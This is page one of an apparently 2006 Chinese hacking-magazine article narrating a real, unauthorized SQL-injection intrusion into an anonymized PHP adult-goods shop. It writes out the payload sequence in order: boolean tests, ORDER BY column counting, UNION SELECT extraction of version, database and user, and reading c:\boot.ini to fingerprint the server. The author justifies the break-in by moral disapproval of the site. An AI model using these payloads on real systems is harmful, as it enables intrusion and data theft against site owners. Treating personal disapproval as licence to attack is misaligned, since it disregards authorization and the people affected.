文章作者:rabbitsafe 注:文章已经发表于2006年第8期《黑客手册》,后由原创作者友情提交到邪恶八进制论坛,转载请著名原始出处《黑客手册》。
今天,渗透的是一家性用品商城,网站用的全是php程序,对于php构建的系统,一般后台数据库都是mysql,就像asp对应着mssql和一样,由于 php的特性(php默认将传递参数中的“‘”等字符做了转换,所以对于字符类型的变量默认情况下很难注入),一般情况下我们注入的只能是数字类型的变量,根据平时注入的知识,我们知道id=xxx的连接就有可能找到漏洞!
一、寻找注入点 首先,在主站上转悠了一圈,主站中的数字类型变量不存在注入漏洞,提交http://www.XXX.com/view.php?id=1250 and 1=1和 1=2 ,在网页里把and 1=1和and 1=2都正常返回。

图1 主站不存在注入点 显然是做了过滤,因为网站二级页面也是php程序写的,所以我就想先从二级页面入手,进入了一个二级页面,好像是性图书联盟,这种东西害了多少青少年啊,今天就先拿你开刀,免得再腐蚀青少年的思想,随便打开了一个数字类型变量的页面 http://shu.XXX.com/book_view.php?id=339,提交 http://shu.XXX.com/book_view.php?id=339 and 1=1,返回正常页面,提交 http://shu.XXX.com/book_view.php?id=339 and 1=2,没有返回数据, 果然存在注入漏洞,手工来解决吧,手工注入更有助php注入的学习,提交http://shu.XXX.com/book_view.php?id=339 order by 20,页面正常返回,提交 http://shu.XXX.com/book_view.php?id=339 order by 10,没有返回数据, 说明字段数在10和20之间,接着试提交http://shu.XXX.com/book_view.php?id=339 order by 15也是正常的,说明字段数在15和20之间,当我提交到18时,页面没有数据返回,说明字段数是17,18左右,接着提交http://shu.XXX.com/book_view.php?id=339 and 1=2 union select 1,2,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17/*,返回结果

图2 性图书联盟的注入点 确定了字段数是17个。下面接着提交http://shu.XXX.com/book_view.php?id=339 and 1=2 union select 1,version(), database(),4,5,6,7,8,user(),10,11,12,13,14,15,16,17/*,返回结果

图3 查询数据库的信息 现在我们完成了对数据库系统的探测。因为我们有可能不是root权限,并且数据库和web服务器可能不在同一台主机上,这样我们就没有读取文件的权限了,测试下再说,先看下是用的什么系统,如果是Linux,可以提交etc/passwd,如果是windows,可以提交c:\\boot.ini,成功读取出了c:\\boot.ini文件内容,可以读取文件内容,主机用的是windows 系统,还是windows2003。

1 2 3 下一页 |